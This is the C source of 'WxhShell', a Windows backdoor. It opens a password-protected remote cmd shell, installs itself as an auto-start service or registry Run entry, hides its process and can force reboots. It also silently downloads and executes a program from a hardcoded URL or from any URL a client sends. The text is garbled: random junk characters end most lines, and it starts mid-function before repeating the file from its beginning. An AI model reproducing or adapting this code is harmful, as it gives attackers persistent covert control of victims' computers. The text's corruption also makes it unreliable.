    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); D)bR-a_^  
    if(Boot(SHUTDOWN)) ZU.f)94u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Idr|-s%l6'  
    else { Qk8YR5 K   
    closesocket(wsh); 8_{XrTw(  
    ExitThread(0); {jo"@&2S  
    } H iEQs|""'  
    break; ni-4 ~k  
    } ,8+Jt@L  
  // 获取shell Ae'N1V  
  case 's': { +?+iVLr!l}  
    CmdShell(wsh); seA=7c5E  
    closesocket(wsh); "tz`@3,5dN  
    ExitThread(0); )]{&  
    break; Q#}c5TjVr  
  } $}.#0c8I  
  // 退出 ' eH Fa  
  case 'x': { D`NQEt"(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); dwz {Yw(  
    CloseIt(wsh); crU]P $a  
    break; I ka V g L  
    } >:P-3#e*  
  // 离开 CM 8Ub%  
  case 'q': { rQ&F Gb  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \<x{U3q5  
    closesocket(wsh); {%QWv%|  
    WSACleanup(); .2/W.z2  
    exit(1); 8[d6 s  
    break; q@}tv =}  
        } GtkZ%<KF9  
  } ;xjw'%n,  
  } =EUi| T4:  
(z^9 87G  
  // 提示信息 J(kC  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZCDcf   
} e`;U9Z  
  } m ?jF:] ^  
E\XD~  
  return; o & kgRv[  
} yYvv!w+@Q  
]t;bCD6*  
// shell模块句柄 Te@=8-u-  
int CmdShell(SOCKET sock) rNeSg=j  
{ Uc5BNk7<=  
STARTUPINFO si; Kr74|W=  
ZeroMemory(&si,sizeof(si)); @mu=7_$U  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D]hwG0Chd  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ItwJL`  
PROCESS_INFORMATION ProcessInfo; *Zz hN]1  
char cmdline[]="cmd"; C%;J9(r  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Yjix]lUXVf  
  return 0; X XC(R  
} U[c^xz&  
jmva0K},SE  
// 自身启动模式 99?: 9g  
int StartFromService(void) P~u~`eH*  
{ <amdPo+2D  
typedef struct t"FB}%G  
{ H05U{vR  
  DWORD ExitStatus; K6e_RzP,.w  
  DWORD PebBaseAddress; mW_ N-z  
  DWORD AffinityMask; ;09U*S$eK  
  DWORD BasePriority; gIcm`5+T  
  ULONG UniqueProcessId; #B8V2_M  
  ULONG InheritedFromUniqueProcessId; 6"_ytqw7  
}   PROCESS_BASIC_INFORMATION; rPF2IS(5  
XV:icY  
PROCNTQSIP NtQueryInformationProcess; Q5/BEUkC  
gshgl3   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b[ .pD3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8B|B[,`  
[:bYd}J  
  HANDLE             hProcess; K) {\wV="  
  PROCESS_BASIC_INFORMATION pbi; F@jyTIS^  
Oo8"s+G  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #~:@H&f790  
  if(NULL == hInst ) return 0; +BkmI\  
afj[HJbY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); t^(wbC  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^.(i!BG'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^y3snuLtE  
+4m~D`fqt[  
  if (!NtQueryInformationProcess) return 0; uz[5h0c  
mNnt9F3Eq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d9yfSZ  
  if(!hProcess) return 0; f>jAu;S  
0j(/N  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;8> TD&]{  
kY]^~|i6  
  CloseHandle(hProcess); S_Ug=8r4  
:WnF>zN  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &l2C-(  
if(hProcess==NULL) return 0; (}&O)3)  
8@d,TjJDo  
HMODULE hMod; ahx*Ti/e  
char procName[255]; ad'C&^o5  
unsigned long cbNeeded; _Sn7z?  
br_D Orq|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G5'HrV  
yfCdK-9+B  
  CloseHandle(hProcess); <jHo2U8/"s  
~91) DNaE  
if(strstr(procName,"services")) return 1; // 以服务启动 6 xAR:  
V~_aM@q1  
  return 0; // 注册表启动 Tq`rc"&7u  
} !%Qm{R  
&kNJ s{  
// 主模块 :/941?%M  
int StartWxhshell(LPSTR lpCmdLine) E6mwvrm8  
{ J:JkX>n%k=  
  SOCKET wsl; R[_UbN 28  
BOOL val=TRUE; G$!JJ. )d  
  int port=0; zd^QG  
  struct sockaddr_in door; .m_-L Y-  
ds D!)$  
  if(wscfg.ws_autoins) Install(); c(G;O )ikS  
KiO1l{.s8n  
port=atoi(lpCmdLine); .Pi8c[  
D_)n\(3  
if(port<=0) port=wscfg.ws_port; YQ#o3 sjs  
BaUcmF2Q  
  WSADATA data; S6bW?8`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?Z[`sm  
wSd o 7Lb  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   QocR)aN=+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Qg' {RAV8  
  door.sin_family = AF_INET; (2fWJ%7VG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0N(o)WRv  
  door.sin_port = htons(port); Kzz]ZO*3  
!e0~|8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ibIo1i//[  
closesocket(wsl); tf_<w?~  
return 1; J'no{3Kt z  
} d-sK{ZC"y  
T`gR&n<D  
  if(listen(wsl,2) == INVALID_SOCKET) { ^E349c-|  
closesocket(wsl); %^ z## 7^  
return 1; n#lZRwhq  
} ^-GzWT  
  Wxhshell(wsl); hd)HJb-aR  
  WSACleanup(); L! DK2,  
U jrML  
return 0; zs@xw@  
}* s%|!{H  
} U";8zplU  
,ThN/GkSC  
// 以NT服务方式启动 ;u "BCW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) G>yTv`-  
{ :Lze8oY(D}  
DWORD   status = 0; zxffjz,Fe:  
  DWORD   specificError = 0xfffffff; c-gpO|4>  
POtwT">z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6o!Y^^/U  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }:2GD0Ru  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rS^+y{7  
  serviceStatus.dwWin32ExitCode     = 0; ]E!b&  
  serviceStatus.dwServiceSpecificExitCode = 0; ytg' {)  
  serviceStatus.dwCheckPoint       = 0; c mI&R(  
  serviceStatus.dwWaitHint       = 0; uF89B-t  
Mp`2[S@$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); TowRY=#jiS  
  if (hServiceStatusHandle==0) return; ! >l)*jN8  
V$';B=M  
status = GetLastError(); #`(-Oj2hH  
  if (status!=NO_ERROR) MX\v2["FoV  
{ zv}3Sl@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; P>s 3Rh3:  
    serviceStatus.dwCheckPoint       = 0; F vt5vQ  
    serviceStatus.dwWaitHint       = 0; ;+-M+9"?O  
    serviceStatus.dwWin32ExitCode     = status; y2:~_MD  
    serviceStatus.dwServiceSpecificExitCode = specificError; "{F e  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Oj~4uT&"  
    return; m^M sp:T,  
  } +#a_Y  
\Q m1+tg  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; c^ifHCt|  
  serviceStatus.dwCheckPoint       = 0; 9yt)9f  
  serviceStatus.dwWaitHint       = 0; PBo;lg`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qZz?i  
} ;H;c Sn5uL  
1o*eu&@  
// 处理NT服务事件,比如:启动、停止 \sZT[42  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;#jE??E/:  
{ {i09e1  
switch(fdwControl) R%\K<#^\  
{ ^< o"3?  
case SERVICE_CONTROL_STOP: dNg5#?mzT5  
  serviceStatus.dwWin32ExitCode = 0; ap y#8]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; XD=p:Ezh  
  serviceStatus.dwCheckPoint   = 0; Ns}BE H  
  serviceStatus.dwWaitHint     = 0; 4gkaCk{]  
  { U.,_zEbx,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6< T@\E  
  } $>csm  
  return; }> pNf  
case SERVICE_CONTROL_PAUSE: luj UEHzp  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7j22KQ|EX^  
  break; Z\9DtvV  
case SERVICE_CONTROL_CONTINUE: gfY1:0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; BhcTPQsW  
  break; PZjK6]N\  
case SERVICE_CONTROL_INTERROGATE: `1fNB1c  
  break; ZS\~GQbG  
}; V^[B=|56  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EO: VH  
} 8,DY0PGP  
9J $"Qt5;6  
// 标准应用程序主函数 2YV*U_\L  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) oM~;du  
{ Pv#>j\OR&  
(+w>hCI  
// 获取操作系统版本 xP61^*-2  
OsIsNt=GetOsVer(); $ 9%UAqk9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @cC@(M~Ru  
dbG5Cf#K\  
  // 从命令行安装 fDU_eyt/Z'  
  if(strpbrk(lpCmdLine,"iI")) Install(); A`nw(f_/  
} S,KUH.  
  // 下载执行文件 2QN ~E  
if(wscfg.ws_downexe) { "1iLfQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) nQ5N\RAZ  
  WinExec(wscfg.ws_filenam,SW_HIDE); z 7 s&7)a  
} J% mtlA  
b\9MM  
if(!OsIsNt) { o NqIrYH'  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]?3-;D.eG  
HideProc(); :)eU)r"s4  
StartWxhshell(lpCmdLine); B65"jy  
} k`u.:C&  
else WPpS?  
  if(StartFromService()) _ \LP P_  
  // 以服务方式启动 cq#=Vb  
  StartServiceCtrlDispatcher(DispatchTable); &]_2tN=S$  
else lv=rL  
  // 普通方式启动 I #8TY/XP  
  StartWxhshell(lpCmdLine); ?[z@R4at  
px>g  
return 0; #x|IEjoa  
} 7~2c"WE  
.FWi$B';  
5%K(tRc|  
%~$coZY^  
=========================================== kx.8VUoM V  
]qPrXuS/  
J7Y lmi  
 Bl1^\[#  
La 9:qpj  
W0qn$H  
" ?Fp2W+M j  
?Zv>4+Y'  
#include <stdio.h> ["7]EW\!:  
#include <string.h> X7Z=@d(  
#include <windows.h> lV ra&5  
#include <winsock2.h> p/WE[8U  
#include <winsvc.h> r' E|6_0  
#include <urlmon.h> kX8Ey  
_p^&]eQ+k#  
#pragma comment (lib, "Ws2_32.lib") agUdPl$e\  
#pragma comment (lib, "urlmon.lib") .jK,6't^  
>tQ$V<YB  
#define MAX_USER   100 // 最大客户端连接数  57`*5X  
#define BUF_SOCK   200 // sock buffer YU6D;  
#define KEY_BUFF   255 // 输入 buffer 9J4gDw4<  
]~d!<x#+  
#define REBOOT     0   // 重启 #-{^={p "  
#define SHUTDOWN   1   // 关机 /)/>/4O  
&(/QJ`*8  
#define DEF_PORT   5000 // 监听端口 mF`%Z~}b  
$s`#&.>c-  
#define REG_LEN     16   // 注册表键长度 ,he1WjL  
#define SVC_LEN     80   // NT服务名长度 Ca k-J~=  
#y>q)Ph  
// 从dll定义API ^w6~?'}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *h)|K s  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); s.j6" Q[W  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); A=bBI>GEYP  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {O"N2W  
oF {u  
// wxhshell配置信息 -(1GmU5v(  
struct WSCFG { g), t  
  int ws_port;         // 监听端口 OkfnxknZ|  
  char ws_passstr[REG_LEN]; // 口令 {T'M4y=)i  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6 ~.{~+Bd  
  char ws_regname[REG_LEN]; // 注册表键名 MG(qQ#;j/  
  char ws_svcname[REG_LEN]; // 服务名 j~C-T%kYa  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Zy&?.d[z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8h'*[-]70u  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Q8?:L<A  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^\3r}kJ0Lp  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7AuzGA0y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1%Su~Z"W>  
|Q*OA  
}; 7I;A5f  
eccJt  
// default Wxhshell configuration ,f)#&}x*2+  
struct WSCFG wscfg={DEF_PORT, @0&KM|+  
    "xuhuanlingzhe", Ro :)N:C  
    1, vH)V\V  
    "Wxhshell", `Ti?hQm/  
    "Wxhshell", ujan2'YT  
            "WxhShell Service", =QJI_veUG`  
    "Wrsky Windows CmdShell Service", /?_5!3KJ  
    "Please Input Your Password: ", >NMq^J'/  
  1, Gm.2!F=R4A  
  "http://www.wrsky.com/wxhshell.exe", }y&tF'qG  
  "Wxhshell.exe" l invK.Lf  
    }; } 3JOC!;;  
bW?cb5C  
// 消息定义模块 #2*6esP  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; klxNGxWAX  
char *msg_ws_prompt="\n\r? for help\n\r#>"; MR}h}JEx0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; cVuT|b^  
char *msg_ws_ext="\n\rExit."; 9`Zwa_Tni  
char *msg_ws_end="\n\rQuit."; :>3/*"vx?G  
char *msg_ws_boot="\n\rReboot..."; *EllE+M{n  
char *msg_ws_poff="\n\rShutdown..."; UtYwG#/w  
char *msg_ws_down="\n\rSave to "; U C..)9  
7 DW_G  
char *msg_ws_err="\n\rErr!"; Y wu > k  
char *msg_ws_ok="\n\rOK!"; :`<ME/"YE  
o3,}X@p  
char ExeFile[MAX_PATH]; `g^bQ x  
int nUser = 0; -APbN(Vi  
HANDLE handles[MAX_USER]; :O/QgGZN$  
int OsIsNt; MNu\=p\Eq  
s]'EIw}mo  
SERVICE_STATUS       serviceStatus; {2T;^+KE  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; s~g0VNu Y  
R@A"U[*  
// 函数声明 [|tlTk   
int Install(void); #H-EOXy  
int Uninstall(void); kJk6lPSqi7  
int DownloadFile(char *sURL, SOCKET wsh); A?4s+A@Eg  
int Boot(int flag); 1;"DIsz@d  
void HideProc(void); &b9bb{y_$K  
int GetOsVer(void); x't@Mc  
int Wxhshell(SOCKET wsl); ?AYb@&%  
void TalkWithClient(void *cs); Sgq" 3(+%,  
int CmdShell(SOCKET sock); |DkK7gw  
int StartFromService(void); M&J$9X  
int StartWxhshell(LPSTR lpCmdLine); f <pJ_  
r O-=):2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); K_o[m!:jU  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ':#DROe!  
:)DvZxHE@  
// 数据结构和表定义 ZIs=%6""&  
SERVICE_TABLE_ENTRY DispatchTable[] = S:{`eDk\A_  
{ kj/v$m  
{wscfg.ws_svcname, NTServiceMain}, |<!xD iB  
{NULL, NULL} iCNJ%AZ H  
}; I~) A!vp  
nl+8C}=u  
// 自我安装 ,KFF[z  
int Install(void) fX{Xw0  
{ f?W"^6Df  
  char svExeFile[MAX_PATH]; 5KC Zg'h  
  HKEY key; l dw!G/  
  strcpy(svExeFile,ExeFile); aK?PK }@  
$*c!9Etl4  
// 如果是win9x系统,修改注册表设为自启动 0P^&{ek+)  
if(!OsIsNt) { Y_,Tm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bmI6OIWl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6oy[0hj  
  RegCloseKey(key); /0(c-Dv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Wo7`gf_(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5 Mz6/&`  
  RegCloseKey(key); vE C#W43l  
  return 0; .Zm de*b  
    } !P@4dG  
  } u]MQ(@HHF  
} fir#5,*q|  
else { St;@ZV  
SdNxSD$Q  
// 如果是NT以上系统,安装为系统服务 RW|Xh8.O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,)PpE&  
if (schSCManager!=0) ;uN&yj<}a  
{ Zy=DY  
  SC_HANDLE schService = CreateService d:JP935  
  ( wj 15Og?  
  schSCManager, m_h$fT8 _  
  wscfg.ws_svcname, 0 LQ%tn  
  wscfg.ws_svcdisp, CS\8ej}y  
  SERVICE_ALL_ACCESS, )*nZ6Cg'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {-1N@*K  
  SERVICE_AUTO_START, y,Z2`Zmu  
  SERVICE_ERROR_NORMAL, ("P]bU+'>  
  svExeFile, 3T~DeqAyw  
  NULL, `i)Pf WdBN  
  NULL, >6Ody<JPHP  
  NULL, q_z;kCHM  
  NULL, (CrP6]=  
  NULL BY>]6SrP  
  ); hUe\sv!x?  
  if (schService!=0) L3Ivm :  
  { vY);7  
  CloseServiceHandle(schService); 3v>w$6  
  CloseServiceHandle(schSCManager); ih(Al<IS  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +c' n,O~3  
  strcat(svExeFile,wscfg.ws_svcname); !112u#V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { V>& 1;n  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Yd]  
  RegCloseKey(key); a^7QHYJ6  
  return 0; b]g#mQ  
    }  V0!kvIv  
  } `Ln1g@  
  CloseServiceHandle(schSCManager); JQ9+kZ  
} .$a|&P=S  
} 'RZ0,SK'  
w}0rDWuR[  
return 1; @YbZ"Jb  
} _V(FHjY  
Xa_:B\ic  
// 自我卸载 bJ^Jmb  
int Uninstall(void) lu;gmWz  
{ %|B$y;q^3  
  HKEY key; )0zg1z  
gf70 O>E  
if(!OsIsNt) { &Y1RPO41J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z-^/<u1p  
  RegDeleteValue(key,wscfg.ws_regname); ta0;:o?/d  
  RegCloseKey(key); qJ[wVNHh!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Oar%LSkPRz  
  RegDeleteValue(key,wscfg.ws_regname); ,:% h`P_  
  RegCloseKey(key); {hVc,\A  
  return 0; \d-9Ndp nf  
  } *Rgl(Ba  
} /Nns3oE  
} 7ea%mg\  
else { &(h@]F!  
t|C?=:_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5I[6 "o0  
if (schSCManager!=0) NL&![;  
{ TGuCIc0B{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); t(1gJZs>kX  
  if (schService!=0) $ZlzS`XF7  
  { ?N]G;%3/  
  if(DeleteService(schService)!=0) { W/.Wp|C}K3  
  CloseServiceHandle(schService); =yZ6$ hK  
  CloseServiceHandle(schSCManager); y=zs6HaS  
  return 0; C:z7R" yj  
  } .p%V]Ka  
  CloseServiceHandle(schService); O)c3Lm-w  
  } X0]Se(  
  CloseServiceHandle(schSCManager); WF-^pfRq~  
} I].ddR%  
} ,qj M1xkL$  
2XyC;RWJ%  
return 1; #>2cfZ`6'J  
} 0s6eF+bs  
x\pygzQ/  
// 从指定url下载文件 u. 2^t :A  
int DownloadFile(char *sURL, SOCKET wsh) mh35S!I3I^  
{ #J~xKyJi'  
  HRESULT hr; U04)XfO;]  
char seps[]= "/"; ~*L@|?  
char *token; S2?)Sb`  
char *file; xP &@|Ag  
char myURL[MAX_PATH]; L#fSP  
char myFILE[MAX_PATH]; vH@$?b3VP  
F6" QsFG  
strcpy(myURL,sURL); )2J#pz?.  
  token=strtok(myURL,seps); 0oo_m6ie&  
  while(token!=NULL) RQ,X0 pS  
  { k[\JT[Mp  
    file=token; 02C;  
  token=strtok(NULL,seps); j6Au<P  
  } }DQ[C&  
=cxG4R1x  
GetCurrentDirectory(MAX_PATH,myFILE); ;0}C2Cz'  
strcat(myFILE, "\\"); Ox6^=D "  
strcat(myFILE, file); p7[&H/  
  send(wsh,myFILE,strlen(myFILE),0); 8KWhXF  
send(wsh,"...",3,0); XQcE  ZJ2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); soqnr" 1  
  if(hr==S_OK) Y^gIvX  
return 0; ;V^I>-fnm  
else a]4|XJ_  
return 1; 0p=  
2>im'x 5  
} ;(IAhWE?7  
BXr._y, cr  
// 系统电源模块 m^4Ojik  
int Boot(int flag)  9 'IDbe{  
{ :U-yO 9!j  
  HANDLE hToken; cd$,,  
  TOKEN_PRIVILEGES tkp; to)Pl}9QkK  
aW b5w  
  if(OsIsNt) { J=ot& %  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \?AA:U*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); rm,h\  
    tkp.PrivilegeCount = 1; hYh~[Kr^@^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]v.Yt/&C{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  #uuNH(  
if(flag==REBOOT) { AmcBu"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -3C$br  
  return 0; (Jk:Qz5  
} HA. O"A8`  
else { / !A&z4;D  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e3kdIOu5  
  return 0; x2+M0 }g  
} G[!<mh4h|  
  } RueL~$*6.~  
  else { LY!.u?D`P  
if(flag==REBOOT) { 'deqF|Iox  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6dYUMqQ  
  return 0; n/IDq$/P  
} 92L{be; SY  
else { `Dv &.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {4b8s%:!4  
  return 0; [ ]=}0l<J  
} JP 8v2) p  
} )X-TJ+d  
/ee4 v!  
return 1; JC4Z^/\.  
} 6Q9S~YYq  
Xr pnc 7  
// win9x进程隐藏模块 Ib$?[  
void HideProc(void)  [T#9#3  
{ oOK&+r7  
y?{YQ)fj  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); xr-v"-  
  if ( hKernel != NULL ) )9>E} SU/  
  { l&v&a!EU  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6o ]X.plr  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); N^K@$bs4^  
    FreeLibrary(hKernel); MM4Eq>F/  
  } -AU!c^-o  
lDhuL;9e  
return; X7& ^"|:  
} &(HIBF'O  
-pm^k-%v  
// 获取操作系统版本 7 {#^ zr  
int GetOsVer(void) n+uDg  
{ bO?Us  
  OSVERSIONINFO winfo; [\e2 ID;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .\+%Q)?h:  
  GetVersionEx(&winfo); Se %"C&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .[4Dv t|>6  
  return 1; *^P$^lm?S  
  else "#a,R ^J  
  return 0; @^kt[$X;  
} G[5z3  
)s4a<S c]  
// 客户端句柄模块 A&6qt  
int Wxhshell(SOCKET wsl) %t\ ~3pw=  
{ p/!P kKJ  
  SOCKET wsh; 'VTLp.~G~  
  struct sockaddr_in client; #q%V|Ajq  
  DWORD myID; gnN"pa!&~  
1 ojy_  
  while(nUser<MAX_USER) @fxDe[J:  
{ Gt;59}  
  int nSize=sizeof(client); <i!7f26r  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )mw&e}jRV  
  if(wsh==INVALID_SOCKET) return 1; c/G]r|k  
[Vaw$c-+[y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); VDP \E<3"  
if(handles[nUser]==0) 'u{DFMB-A  
  closesocket(wsh);  9> k-";  
else v}AVIdR  
  nUser++; <ny)yK  
  } tX#8 G09G+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7D%}( pX  
lP:ll])p2  
  return 0; ry%Fs&V*>  
} JxM[LvVi  
D~s TQfWr  
// 关闭 socket z3:tSjF  
void CloseIt(SOCKET wsh) Ce0YO~I  
{ i>`!W|=_  
closesocket(wsh); ?yq1\G)]  
nUser--; fudIUG.  
ExitThread(0); 6X@$xe847[  
} <) ` ?s  
V=v7<I=]  
// 客户端请求句柄 ZCbnDj  
void TalkWithClient(void *cs) Z1gZn)7  
{ ?$#,h30  
# ,KjJ  
  SOCKET wsh=(SOCKET)cs; J!GWP:b3  
  char pwd[SVC_LEN]; /.u0rxoRP}  
  char cmd[KEY_BUFF];  :nHa-N3  
char chr[1]; e5 ?;{H  
int i,j; J~jR`2+r  
LZB=vc|3/  
  while (nUser < MAX_USER) { eBmBD"$  
&7YTz3aj  
if(wscfg.ws_passstr) { L/VlmN_v>s  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [;F%6MPK^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $# /-+>  
  //ZeroMemory(pwd,KEY_BUFF); Nn_n@K  
      i=0; [Ie;Jd>gG  
  while(i<SVC_LEN) { dt -=7mz#  
.cV<(J 5o  
  // 设置超时 #0WGSIht<  
  fd_set FdRead; ~P47:IZf  
  struct timeval TimeOut; (0=e ,1 n  
  FD_ZERO(&FdRead); U;7Cmti"  
  FD_SET(wsh,&FdRead); =wEqI)Td  
  TimeOut.tv_sec=8; FKOTv2  
  TimeOut.tv_usec=0; m;S!E-W  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0 2lI-xHe  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); E8Jy!8/X9T  
$X9`~Sv _  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t@`w}o[#  
  pwd=chr[0]; DRn]>IFU  
  if(chr[0]==0xd || chr[0]==0xa) { FG^ Jh5  
  pwd=0; YQ&Ww|xe  
  break; r{V=)h  
  } q;^Q1[Ari  
  i++; {*Ag[HS0u  
    } fr\"MP  
UkE  fuH  
  // 如果是非法用户,关闭 socket zJH#J=O  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,[ UqUEO  
} O M]d}}=Y  
[ p+]H?(A  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); DHUK_#!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8gQg#^,(t  
%yj z@  
while(1) { gH+s)6  
JH4hy9i  
  ZeroMemory(cmd,KEY_BUFF); Z?Cl5o&l b  
\; 9log<Z  
      // 自动支持客户端 telnet标准   jf`QoK  
  j=0; XB8g5AxR  
  while(j<KEY_BUFF) { ^/0c`JG!x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EpX.{B@B_[  
  cmd[j]=chr[0]; [9wuaw"~[Z  
  if(chr[0]==0xa || chr[0]==0xd) { ZU=om Rh5  
  cmd[j]=0; ")'9:c  
  break; m a!rZ n  
  } D%=VhKq  
  j++; fEdp^oVg  
    } lUL6L 4m  
3Kx&+  
  // 下载文件 #-]!;sY>  
  if(strstr(cmd,"http://")) { 9BZyCz  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6.!aJJLN  
  if(DownloadFile(cmd,wsh)) -`I&hzl6E  
